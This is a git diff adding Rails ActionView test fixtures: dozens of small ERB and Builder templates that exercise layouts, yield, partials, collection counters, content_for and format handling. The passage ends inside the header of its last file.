diff --git a/actionview/test/fixtures/actionpack/layouts/_customers.erb b/actionview/test/fixtures/actionpack/layouts/_customers.erb
new file mode 100644
index 0000000000..ae63f13cd3
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/layouts/_customers.erb
@@ -0,0 +1 @@
+<title><%= yield Struct.new(:name).new("David") %></title>
\ No newline at end of file
diff --git a/actionview/test/fixtures/actionpack/layouts/_partial_and_yield.erb b/actionview/test/fixtures/actionpack/layouts/_partial_and_yield.erb
new file mode 100644
index 0000000000..74cc428ffa
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/layouts/_partial_and_yield.erb
@@ -0,0 +1,2 @@
+<%= render :partial => 'test/partial' %>
+<%= yield %>
diff --git a/actionview/test/fixtures/actionpack/layouts/_yield_only.erb b/actionview/test/fixtures/actionpack/layouts/_yield_only.erb
new file mode 100644
index 0000000000..37f0bddbd7
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/layouts/_yield_only.erb
@@ -0,0 +1 @@
+<%= yield %>
diff --git a/actionview/test/fixtures/actionpack/layouts/_yield_with_params.erb b/actionview/test/fixtures/actionpack/layouts/_yield_with_params.erb
new file mode 100644
index 0000000000..68e6557fb8
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/layouts/_yield_with_params.erb
@@ -0,0 +1 @@
+<%= yield 'Yield!' %>
diff --git a/actionview/test/fixtures/actionpack/layouts/block_with_layout.erb b/actionview/test/fixtures/actionpack/layouts/block_with_layout.erb
new file mode 100644
index 0000000000..73ac833e52
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/layouts/block_with_layout.erb
@@ -0,0 +1,3 @@
+<%= render(:layout => "layout_for_partial", :locals => { :name => "Anthony" }) do %>Inside from first block in layout<% "Return value should be discarded" %><% end %>
+<%= yield %>
+<%= render(:layout => "layout_for_partial", :locals => { :name => "Ramm" }) do %>Inside from second block in layout<% end %>
diff --git a/actionview/test/fixtures/actionpack/layouts/builder.builder b/actionview/test/fixtures/actionpack/layouts/builder.builder
new file mode 100644
index 0000000000..c55488edd0
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/layouts/builder.builder
@@ -0,0 +1,3 @@
+xml.wrapper do
+  xml << yield
+end
diff --git a/actionview/test/fixtures/actionpack/layouts/partial_with_layout.erb b/actionview/test/fixtures/actionpack/layouts/partial_with_layout.erb
new file mode 100644
index 0000000000..a0349d731e
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/layouts/partial_with_layout.erb
@@ -0,0 +1,3 @@
+<%= render( :layout => "layout_for_partial", :partial => "partial_for_use_in_layout", :locals => {:name => 'Anthony' } ) %>
+<%= yield %>
+<%= render( :layout => "layout_for_partial", :partial => "partial_for_use_in_layout", :locals => {:name => 'Ramm' } ) %>
\ No newline at end of file
diff --git a/actionview/test/fixtures/actionpack/layouts/standard.html.erb b/actionview/test/fixtures/actionpack/layouts/standard.html.erb
new file mode 100644
index 0000000000..5e6c24fe39
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/layouts/standard.html.erb
@@ -0,0 +1 @@
+<html><%= yield %><%= @variable_for_layout %></html>
\ No newline at end of file
diff --git a/actionview/test/fixtures/actionpack/layouts/standard.text.erb b/actionview/test/fixtures/actionpack/layouts/standard.text.erb
new file mode 100644
index 0000000000..a58afb1aa2
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/layouts/standard.text.erb
@@ -0,0 +1 @@
+{{<%= yield %><%= @variable_for_layout %>}}
diff --git a/actionview/test/fixtures/actionpack/layouts/streaming.erb b/actionview/test/fixtures/actionpack/layouts/streaming.erb
new file mode 100644
index 0000000000..d3f896a6ca
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/layouts/streaming.erb
@@ -0,0 +1,4 @@
+<%= yield :header -%>
+<%= yield -%>
+<%= yield :footer -%>
+<%= yield(:unknown).presence || "." -%>
\ No newline at end of file
diff --git a/actionview/test/fixtures/actionpack/layouts/talk_from_action.erb b/actionview/test/fixtures/actionpack/layouts/talk_from_action.erb
new file mode 100644
index 0000000000..bf53fdb785
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/layouts/talk_from_action.erb
@@ -0,0 +1,2 @@
+<title><%= @title || yield(:title) %></title>
+<%= yield -%>
\ No newline at end of file
diff --git a/actionview/test/fixtures/actionpack/layouts/with_html_partial.html.erb b/actionview/test/fixtures/actionpack/layouts/with_html_partial.html.erb
new file mode 100644
index 0000000000..fd2896aeaa
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/layouts/with_html_partial.html.erb
@@ -0,0 +1 @@
+<%= render :partial => "partial_only_html" %><%= yield %>
diff --git a/actionview/test/fixtures/actionpack/layouts/xhr.html.erb b/actionview/test/fixtures/actionpack/layouts/xhr.html.erb
new file mode 100644
index 0000000000..85285324ec
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/layouts/xhr.html.erb
@@ -0,0 +1,2 @@
+XHR!
+<%= yield %>
\ No newline at end of file
diff --git a/actionview/test/fixtures/actionpack/layouts/yield.erb b/actionview/test/fixtures/actionpack/layouts/yield.erb
new file mode 100644
index 0000000000..482dc9022e
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/layouts/yield.erb
@@ -0,0 +1,2 @@
+<title><%= yield :title %></title>
+<%= yield %>
diff --git a/actionview/test/fixtures/actionpack/layouts/yield_with_render_inline_inside.erb b/actionview/test/fixtures/actionpack/layouts/yield_with_render_inline_inside.erb
new file mode 100644
index 0000000000..7298d79690
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/layouts/yield_with_render_inline_inside.erb
@@ -0,0 +1,2 @@
+<%= render :inline => 'welcome' %>
+<%= yield %>
diff --git a/actionview/test/fixtures/actionpack/layouts/yield_with_render_partial_inside.erb b/actionview/test/fixtures/actionpack/layouts/yield_with_render_partial_inside.erb
new file mode 100644
index 0000000000..74cc428ffa
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/layouts/yield_with_render_partial_inside.erb
@@ -0,0 +1,2 @@
+<%= render :partial => 'test/partial' %>
+<%= yield %>
diff --git a/actionview/test/fixtures/actionpack/quiz/questions/_question.html.erb b/actionview/test/fixtures/actionpack/quiz/questions/_question.html.erb
new file mode 100644
index 0000000000..fb4dcfee64
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/quiz/questions/_question.html.erb
@@ -0,0 +1 @@
+<%= question.name %>
\ No newline at end of file
diff --git a/actionview/test/fixtures/actionpack/shared.html.erb b/actionview/test/fixtures/actionpack/shared.html.erb
new file mode 100644
index 0000000000..af262fc9f8
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/shared.html.erb
@@ -0,0 +1 @@
+Elastica
\ No newline at end of file
diff --git a/actionview/test/fixtures/actionpack/test/_changing_priority.html.erb b/actionview/test/fixtures/actionpack/test/_changing_priority.html.erb
new file mode 100644
index 0000000000..3225efc49a
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/test/_changing_priority.html.erb
@@ -0,0 +1 @@
+HTML
\ No newline at end of file
diff --git a/actionview/test/fixtures/actionpack/test/_changing_priority.json.erb b/actionview/test/fixtures/actionpack/test/_changing_priority.json.erb
new file mode 100644
index 0000000000..7fa41dce66
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/test/_changing_priority.json.erb
@@ -0,0 +1 @@
+JSON
\ No newline at end of file
diff --git a/actionview/test/fixtures/actionpack/test/_counter.html.erb b/actionview/test/fixtures/actionpack/test/_counter.html.erb
new file mode 100644
index 0000000000..fd245bfc70
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/test/_counter.html.erb
@@ -0,0 +1 @@
+<%= counter_counter %>
\ No newline at end of file
diff --git a/actionview/test/fixtures/actionpack/test/_customer.erb b/actionview/test/fixtures/actionpack/test/_customer.erb
new file mode 100644
index 0000000000..d8220afeda
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/test/_customer.erb
@@ -0,0 +1 @@
+Hello: <%= customer.name rescue "Anonymous" %>
\ No newline at end of file
diff --git a/actionview/test/fixtures/actionpack/test/_customer_counter.erb b/actionview/test/fixtures/actionpack/test/_customer_counter.erb
new file mode 100644
index 0000000000..3435979dba
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/test/_customer_counter.erb
@@ -0,0 +1 @@
+<%= customer_counter.name %><%= customer_counter_counter %>
\ No newline at end of file
diff --git a/actionview/test/fixtures/actionpack/test/_customer_counter_with_as.erb b/actionview/test/fixtures/actionpack/test/_customer_counter_with_as.erb
new file mode 100644
index 0000000000..1241eb604d
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/test/_customer_counter_with_as.erb
@@ -0,0 +1 @@
+<%= client.name %><%= client_counter %>
\ No newline at end of file
diff --git a/actionview/test/fixtures/actionpack/test/_customer_greeting.erb b/actionview/test/fixtures/actionpack/test/_customer_greeting.erb
new file mode 100644
index 0000000000..6acbcb20c4
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/test/_customer_greeting.erb
@@ -0,0 +1 @@
+<%= greeting %>: <%= customer_greeting.name %>
\ No newline at end of file
diff --git a/actionview/test/fixtures/actionpack/test/_customer_iteration.erb b/actionview/test/fixtures/actionpack/test/_customer_iteration.erb
new file mode 100644
index 0000000000..fb530b04a7
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/test/_customer_iteration.erb
@@ -0,0 +1 @@
+<%= customer_iteration_iteration.size %>-<%= customer_iteration_iteration.index %>: <%= customer_iteration.name %><%= '-first' if customer_iteration_iteration.first? %><%= '-last' if customer_iteration_iteration.last? %>
\ No newline at end of file
diff --git a/actionview/test/fixtures/actionpack/test/_customer_iteration_with_as.erb b/actionview/test/fixtures/actionpack/test/_customer_iteration_with_as.erb
new file mode 100644
index 0000000000..57297d0564
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/test/_customer_iteration_with_as.erb
@@ -0,0 +1 @@
+<%= client_iteration.size %>-<%= client_iteration.index %>: <%= client.name %><%= '-first' if client_iteration.first? %><%= '-last' if client_iteration.last? %>
\ No newline at end of file
diff --git a/actionview/test/fixtures/actionpack/test/_customer_with_var.erb b/actionview/test/fixtures/actionpack/test/_customer_with_var.erb
new file mode 100644
index 0000000000..00047dd20e
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/test/_customer_with_var.erb
@@ -0,0 +1 @@
+<%= customer.name %> <%= customer.name %> <%= customer.name %>
\ No newline at end of file
diff --git a/actionview/test/fixtures/actionpack/test/_directory/_partial_with_locales.html.erb b/actionview/test/fixtures/actionpack/test/_directory/_partial_with_locales.html.erb
new file mode 100644
index 0000000000..1cc8d41475
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/test/_directory/_partial_with_locales.html.erb
@@ -0,0 +1 @@
+Hello <%= name %>
diff --git a/actionview/test/fixtures/actionpack/test/_first_json_partial.json.erb b/actionview/test/fixtures/actionpack/test/_first_json_partial.json.erb
new file mode 100644
index 0000000000..790ee896db
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/test/_first_json_partial.json.erb
@@ -0,0 +1 @@
+<%= render :partial => "test/second_json_partial" %>
\ No newline at end of file
diff --git a/actionview/test/fixtures/actionpack/test/_form.erb b/actionview/test/fixtures/actionpack/test/_form.erb
new file mode 100644
index 0000000000..01107f1cb2
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/test/_form.erb
@@ -0,0 +1 @@
+<%= form.label :title %>
diff --git a/actionview/test/fixtures/actionpack/test/_hash_greeting.erb b/actionview/test/fixtures/actionpack/test/_hash_greeting.erb
new file mode 100644
index 0000000000..fc54a36f2a
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/test/_hash_greeting.erb
@@ -0,0 +1 @@
+<%= greeting %>: <%= hash_greeting[:first_name] %>
\ No newline at end of file
diff --git a/actionview/test/fixtures/actionpack/test/_hash_object.erb b/actionview/test/fixtures/actionpack/test/_hash_object.erb
new file mode 100644
index 0000000000..34a92c6a56
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/test/_hash_object.erb
@@ -0,0 +1,2 @@
+<%= hash_object[:first_name] %>
+<%= hash_object[:first_name].reverse %>
diff --git a/actionview/test/fixtures/actionpack/test/_hello.builder b/actionview/test/fixtures/actionpack/test/_hello.builder
new file mode 100644
index 0000000000..fc72df16d0
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/test/_hello.builder
@@ -0,0 +1 @@
+xm.hello
diff --git a/actionview/test/fixtures/actionpack/test/_json_change_priority.json.erb b/actionview/test/fixtures/actionpack/test/_json_change_priority.json.erb
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/test/_json_change_priority.json.erb
diff --git a/actionview/test/fixtures/actionpack/test/_labelling_form.erb b/actionview/test/fixtures/actionpack/test/_labelling_form.erb
new file mode 100644
index 0000000000..1b95763165
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/test/_labelling_form.erb
@@ -0,0 +1 @@
+<%= labelling_form.label :title %>
diff --git a/actionview/test/fixtures/actionpack/test/_layout_for_partial.html.erb b/actionview/test/fixtures/actionpack/test/_layout_for_partial.html.erb
new file mode 100644
index 0000000000..666efadbb6
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/test/_layout_for_partial.html.erb
@@ -0,0 +1,3 @@
+Before (<%= name %>)
+<%= yield %>
+After
\ No newline at end of file
diff --git a/actionview/test/fixtures/actionpack/test/_partial.erb b/actionview/test/fixtures/actionpack/test/_partial.erb
new file mode 100644
index 0000000000..e466dcbd8e
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/test/_partial.erb
@@ -0,0 +1 @@
+invalid
\ No newline at end of file
diff --git a/actionview/test/fixtures/actionpack/test/_partial.html.erb b/actionview/test/fixtures/actionpack/test/_partial.html.erb
new file mode 100644
index 0000000000..e39f6c9827
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/test/_partial.html.erb
@@ -0,0 +1 @@
+partial html
\ No newline at end of file
diff --git a/actionview/test/fixtures/actionpack/test/_partial.js.erb b/actionview/test/fixtures/actionpack/test/_partial.js.erb
new file mode 100644
index 0000000000..b350cdd7ef
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/test/_partial.js.erb
@@ -0,0 +1 @@
+partial js
\ No newline at end of file
diff --git a/actionview/test/fixtures/actionpack/test/_partial_for_use_in_layout.html.erb b/actionview/test/fixtures/actionpack/test/_partial_for_use_in_layout.html.erb
new file mode 100644
index 0000000000..3a03a64e31
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/test/_partial_for_use_in_layout.html.erb
@@ -0,0 +1 @@
+Inside from partial (<%= name %>)
\ No newline at end of file
diff --git a/actionview/test/fixtures/actionpack/test/_partial_html_erb.html.erb b/actionview/test/fixtures/actionpack/test/_partial_html_erb.html.erb
new file mode 100644
index 0000000000..4b54875782
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/test/_partial_html_erb.html.erb
@@ -0,0 +1 @@
+<%= "partial.html.erb" %>
diff --git a/actionview/test/fixtures/actionpack/test/_partial_name_local_variable.erb b/actionview/test/fixtures/actionpack/test/_partial_name_local_variable.erb
new file mode 100644
index 0000000000..cc3a91c89f
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/test/_partial_name_local_variable.erb
@@ -0,0 +1 @@
+<%= partial_name_local_variable %>
diff --git a/actionview/test/fixtures/actionpack/test/_partial_only.erb b/actionview/test/fixtures/actionpack/test/_partial_only.erb
new file mode 100644
index 0000000000..a44b3eed40
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/test/_partial_only.erb
@@ -0,0 +1 @@
+only partial
\ No newline at end of file
diff --git a/actionview/test/fixtures/actionpack/test/_partial_only_html.html b/actionview/test/fixtures/actionpack/test/_partial_only_html.html
new file mode 100644
index 0000000000..d2d630bd40
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/test/_partial_only_html.html
@@ -0,0 +1 @@
+only html partial
\ No newline at end of file
diff --git a/actionview/test/fixtures/actionpack/test/_partial_with_partial.erb b/actionview/test/fixtures/actionpack/test/_partial_with_partial.erb
new file mode 100644
index 0000000000..ee0d5037b6
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/test/_partial_with_partial.erb
@@ -0,0 +1,2 @@
+<%= render 'test/partial' %>
+partial with partial
diff --git a/actionview/test/fixtures/actionpack/test/_person.erb b/actionview/test/fixtures/actionpack/test/_person.erb
new file mode 100644
index 0000000000..b2e5688956
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/test/_person.erb
@@ -0,0 +1,2 @@
+Second: <%= name %>
+Third: <%= @name %>
diff --git a/actionview/test/fixtures/actionpack/test/_raise_indentation.html.erb b/actionview/test/fixtures/actionpack/test/_raise_indentation.html.erb
new file mode 100644
index 0000000000..f9a93728fe
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/test/_raise_indentation.html.erb
@@ -0,0 +1,13 @@
+<p>First paragraph</p>
+<p>Second paragraph</p>
+<p>Third paragraph</p>
+<p>Fourth paragraph</p>
+<p>Fifth paragraph</p>
+<p>Sixth paragraph</p>
+<p>Seventh paragraph</p>
+<p>Eight paragraph</p>
+<p>Ninth paragraph</p>
+<p>Tenth paragraph</p>
+<%= raise "error here!" %>
+<p>Eleventh paragraph</p>
+<p>Twelfth paragraph</p>
\ No newline at end of file
diff --git a/actionview/test/fixtures/actionpack/test/_second_json_partial.json.erb b/actionview/test/fixtures/actionpack/test/_second_json_partial.json.erb
new file mode 100644
index 0000000000..5ebb7f1afd
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/test/_second_json_partial.json.erb
@@ -0,0 +1 @@
+Third level
\ No newline at end of file
diff --git a/actionview/test/fixtures/actionpack/test/action_talk_to_layout.erb b/actionview/test/fixtures/actionpack/test/action_talk_to_layout.erb
new file mode 100644
index 0000000000..36e896daa8
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/test/action_talk_to_layout.erb
@@ -0,0 +1,2 @@
+<% @title = "Talking to the layout" -%>
+Action was here!
\ No newline at end of file
diff --git a/actionview/test/fixtures/actionpack/test/calling_partial_with_layout.html.erb b/actionview/test/fixtures/actionpack/test/calling_partial_with_layout.html.erb
new file mode 100644
index 0000000000..ac44bc0d81
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/test/calling_partial_with_layout.html.erb
@@ -0,0 +1 @@
+<%= render(:layout => "layout_for_partial", :partial => "partial_for_use_in_layout", :locals => { :name => "David" }) %>
\ No newline at end of file
diff --git a/actionview/test/fixtures/actionpack/test/capturing.erb b/actionview/test/fixtures/actionpack/test/capturing.erb
new file mode 100644
index 0000000000..1addaa40d9
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/test/capturing.erb
@@ -0,0 +1,4 @@
+<% days = capture do %>
+  Dreamy days
+<% end %>
+<%= days %>
\ No newline at end of file
diff --git a/actionview/test/fixtures/actionpack/test/change_priority.html.erb b/actionview/test/fixtures/actionpack/test/change_priority.html.erb
new file mode 100644
index 0000000000..5618977d05
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/test/change_priority.html.erb
@@ -0,0 +1,2 @@
+<%= render :partial => "test/json_change_priority", formats: :json %>
+HTML Template, but <%= render :partial => "test/changing_priority" %> partial
\ No newline at end of file
diff --git a/actionview/test/fixtures/actionpack/test/content_for.erb b/actionview/test/fixtures/actionpack/test/content_for.erb
new file mode 100644
index 0000000000..1fb829f54c
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/test/content_for.erb
@@ -0,0 +1 @@
+<% content_for :title do -%>Putting stuff in the title!<% end -%>Great stuff!
\ No newline at end of file
diff --git a/actionview/test/fixtures/actionpack/test/content_for_concatenated.erb b/actionview/test/fixtures/actionpack/test/content_for_concatenated.erb
new file mode 100644
index 0000000000..e65f629574
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/test/content_for_concatenated.erb
@@ -0,0 +1,3 @@
+<% content_for :title, "Putting stuff "
+   content_for :title, "in the title!" -%>
+Great stuff!
\ No newline at end of file
diff --git a/actionview/test/fixtures/actionpack/test/content_for_with_parameter.erb b/actionview/test/fixtures/actionpack/test/content_for_with_parameter.erb
new file mode 100644
index 0000000000..aeb6f73ce0
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/test/content_for_with_parameter.erb
@@ -0,0 +1,2 @@
+<% content_for :title, "Putting stuff in the title!" -%>
+Great stuff!
\ No newline at end of file
diff --git a/actionview/test/fixtures/actionpack/test/dot.directory/render_file_with_ivar.erb b/actionview/test/fixtures/actionpack/test/dot.directory/render_file_with_ivar.erb
new file mode 100644
index 0000000000..8b8a449236
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/test/dot.directory/render_file_with_ivar.erb
@@ -0,0 +1 @@
+The secret is <%= @secret %>
diff --git a/actionview/test/fixtures/actionpack/test/formatted_html_erb.html.erb b/actionview/test/fixtures/actionpack/test/formatted_html_erb.html.erb
new file mode 100644
index 0000000000..1c64efabd8
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/test/formatted_html_erb.html.erb
@@ -0,0 +1 @@
+formatted html erb
\ No newline at end of file
diff --git a/actionview/test/fixtures/actionpack/test/formatted_xml_erb.builder b/actionview/test/fixtures/actionpack/test/formatted_xml_erb.builder
new file mode 100644
index 0000000000..f98aaa34a5
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/test/formatted_xml_erb.builder
@@ -0,0 +1 @@
+xml.test "failed"
diff --git a/actionview/test/fixtures/actionpack/test/formatted_xml_erb.html.erb b/actionview/test/fixtures/actionpack/test/formatted_xml_erb.html.erb
new file mode 100644
index 0000000000..0c855a604b
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/test/formatted_xml_erb.html.erb
@@ -0,0 +1 @@
+<test>passed formatted html erb</test>
\ No newline at end of file
diff --git a/actionview/test/fixtures/actionpack/test/formatted_xml_erb.xml.erb b/actionview/test/fixtures/actionpack/test/formatted_xml_erb.xml.erb
new file mode 100644
index 0000000000..6ca09d5304
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/test/formatted_xml_erb.xml.erb
@@ -0,0 +1 @@
+<test>passed formatted xml erb</test>
\ No newline at end of file
diff --git a/actionview/test/fixtures/actionpack/test/greeting.html.erb b/actionview/test/fixtures/actionpack/test/greeting.html.erb
new file mode 100644
index 0000000000..62fb0293f0
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/test/greeting.html.erb
@@ -0,0 +1 @@
+<p>This is grand!</p>
diff --git a/actionview/test/fixtures/actionpack/test/greeting.xml.erb b/actionview/test/fixtures/actionpack/test/greeting.xml.erb
new file mode 100644
index 0000000000..62fb0293f0
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/test/greeting.xml.erb
@@ -0,0 +1 @@
+<p>This is grand!</p>
diff --git a/actionview/test/fixtures/actionpack/test/hello,world.erb b/actionview/test/fixtures/actionpack/test/hello,world.erb
new file mode 100644
index 0000000000..bc8fa5e0ca
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/test/hello,world.erb
@@ -0,0 +1 @@
+Hello w*rld!
\ No newline at end of file
diff --git a/actionview/test/fixtures/actionpack/test/hello.builder b/actionview/test/fixtures/actionpack/test/hello.builder
new file mode 100644
index 0000000000..b8ab17ad5b
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/test/hello.builder
@@ -0,0 +1,4 @@
+xml.html do
+  xml.p "Hello #{@name}"
+  xml << render(file: "test/greeting")
+end
diff --git a/actionview/test/fixtures/actionpack/test/hello/hello.erb b/actionview/test/fixtures/actionpack/test/hello/hello.erb
new file mode 100644
index 0000000000..6769dd60bd
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/test/hello/hello.erb
@@ -0,0 +1 @@
+Hello world!
\ No newline at end of file
diff --git a/actionview/test/fixtures/actionpack/test/hello_world.erb b/actionview/test/fixtures/actionpack/test/hello_world.erb
new file mode 100644
index 0000000000..6769dd60bd
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/test/hello_world.erb
@@ -0,0 +1 @@
+Hello world!
\ No newline at end of file
diff --git a/actionview/test/fixtures/actionpack/test/hello_world_container.builder b/actionview/test/fixtures/actionpack/test/hello_world_container.builder
new file mode 100644
index 0000000000..24032ab5e0
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/test/hello_world_container.builder
@@ -0,0 +1,3 @@
+xml.test do
+  render partial: "hello", locals: { xm: xml }
+end
diff --git a/actionview/test/fixtures/actionpack/test/hello_world_from_rxml.builder b/actionview/test/fixtures/actionpack/test/hello_world_from_rxml.builder
new file mode 100644
index 0000000000..619a97ba96
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/test/hello_world_from_rxml.builder
@@ -0,0 +1,3 @@
+xml.html do
+  xml.p "Hello"
+end
diff --git a/actionview/test/fixtures/actionpack/test/hello_world_with_layout_false.erb b/actionview/test/fixtures/actionpack/test/hello_world_with_layout_false.erb
new file mode 100644
index 0000000000..6769dd60bd
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/test/hello_world_with_layout_false.erb
@@ -0,0 +1 @@
+Hello world!
\ No newline at end of file
diff --git a/actionview/test/fixtures/actionpack/test/hello_world_with_partial.html.erb b/actionview/test/fixtures/actionpack/test/hello_world_with_partial.html.erb
new file mode 100644
index 0000000000..ec31545356
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/test/hello_world_with_partial.html.erb
@@ -0,0 +1,2 @@
+Hello world!
+<%= render '/test/partial' %>
diff --git a/actionview/test/fixtures/actionpack/test/hello_xml_world.builder b/actionview/test/fixtures/actionpack/test/hello_xml_world.builder
new file mode 100644
index 0000000000..d16bb6b5cb
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/test/hello_xml_world.builder
@@ -0,0 +1,11 @@
+xml.html do
+  xml.head do
+    xml.title "Hello World"
+  end
+
+  xml.body do
+    xml.p "abes"
+    xml.p "monks"
+    xml.p "wiseguys"
+  end
+end
diff --git a/actionview/test/fixtures/actionpack/test/html_template.html.erb b/actionview/test/fixtures/actionpack/test/html_template.html.erb
new file mode 100644
index 0000000000..1bbc2b7f09
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/test/html_template.html.erb
@@ -0,0 +1 @@
+<%= render :partial => "test/first_json_partial", formats: :json %>
\ No newline at end of file
diff --git a/actionview/test/fixtures/actionpack/test/hyphen-ated.erb b/actionview/test/fixtures/actionpack/test/hyphen-ated.erb
new file mode 100644
index 0000000000..28dbe94ee1
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/test/hyphen-ated.erb
@@ -0,0 +1 @@
+hyphen-ated.erb
\ No newline at end of file
diff --git a/actionview/test/fixtures/actionpack/test/implicit_content_type.atom.builder b/actionview/test/fixtures/actionpack/test/implicit_content_type.atom.builder
new file mode 100644
index 0000000000..2fcb32d247
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/test/implicit_content_type.atom.builder
@@ -0,0 +1,2 @@
+xml.atom do
+end
diff --git a/actionview/test/fixtures/actionpack/test/list.erb b/actionview/test/fixtures/actionpack/test/list.erb
new file mode 100644
index 0000000000..0a4bda58ee
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/test/list.erb
@@ -0,0 +1 @@
+<%= @test_unchanged = 'goodbye' %><%= render :partial => 'customer', :collection => @customers %><%= @test_unchanged %>
diff --git a/actionview/test/fixtures/actionpack/test/non_erb_block_content_for.builder b/actionview/test/fixtures/actionpack/test/non_erb_block_content_for.builder
new file mode 100644
index 0000000000..cd65da751b
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/test/non_erb_block_content_for.builder
@@ -0,0 +1,4 @@
+content_for :title do
+  "Putting stuff in the title!"
+end
+xml << "Great stuff!"
diff --git a/actionview/test/fixtures/actionpack/test/potential_conflicts.erb b/actionview/test/fixtures/actionpack/test/potential_conflicts.erb
new file mode 100644
index 0000000000..a5e964e359
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/test/potential_conflicts.erb
@@ -0,0 +1,4 @@
+First: <%= @name %>
+<%= render :partial => "person", :locals => { :name => "Stephan" } -%>
+Fourth: <%= @name %>
+Fifth: <%= name %>
\ No newline at end of file
diff --git a/actionview/test/fixtures/actionpack/test/proper_block_detection.erb b/actionview/test/fixtures/actionpack/test/proper_block_detection.erb
new file mode 100644
index 0000000000..b55efbb25d
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/test/proper_block_detection.erb
@@ -0,0 +1 @@
+<%= @todo %>
\ No newline at end of file
diff --git a/actionview/test/fixtures/actionpack/test/render_file_from_template.html.erb b/actionview/test/fixtures/actionpack/test/render_file_from_template.html.erb
new file mode 100644
index 0000000000..fde9f4bb64
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/test/render_file_from_template.html.erb
@@ -0,0 +1 @@
+<%= render :file => @path %>
\ No newline at end of file
diff --git a/actionview/test/fixtures/actionpack/test/render_file_with_ivar.erb b/actionview/test/fixtures/actionpack/test/render_file_with_ivar.erb
new file mode 100644
index 0000000000..8b8a449236
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/test/render_file_with_ivar.erb
@@ -0,0 +1 @@
+The secret is <%= @secret %>
diff --git a/actionview/test/fixtures/actionpack/test/render_file_with_locals.erb b/actionview/test/fixtures/actionpack/test/render_file_with_locals.erb
new file mode 100644
index 0000000000..ebe09faee6
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/test/render_file_with_locals.erb
@@ -0,0 +1 @@
+The secret is <%= secret %>
diff --git a/actionview/test/fixtures/actionpack/test/render_file_with_locals_and_default.erb b/actionview/test/fixtures/actionpack/test/render_file_with_locals_and_default.erb
new file mode 100644
index 0000000000..9b4900acc5
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/test/render_file_with_locals_and_default.erb
@@ -0,0 +1 @@
+<%= secret ||= 'one' %>
\ No newline at end of file
diff --git a/actionview/test/fixtures/actionpack/test/render_implicit_html_template_from_xhr_request.da.html.erb b/actionview/test/fixtures/actionpack/test/render_implicit_html_template_from_xhr_request.da.html.erb
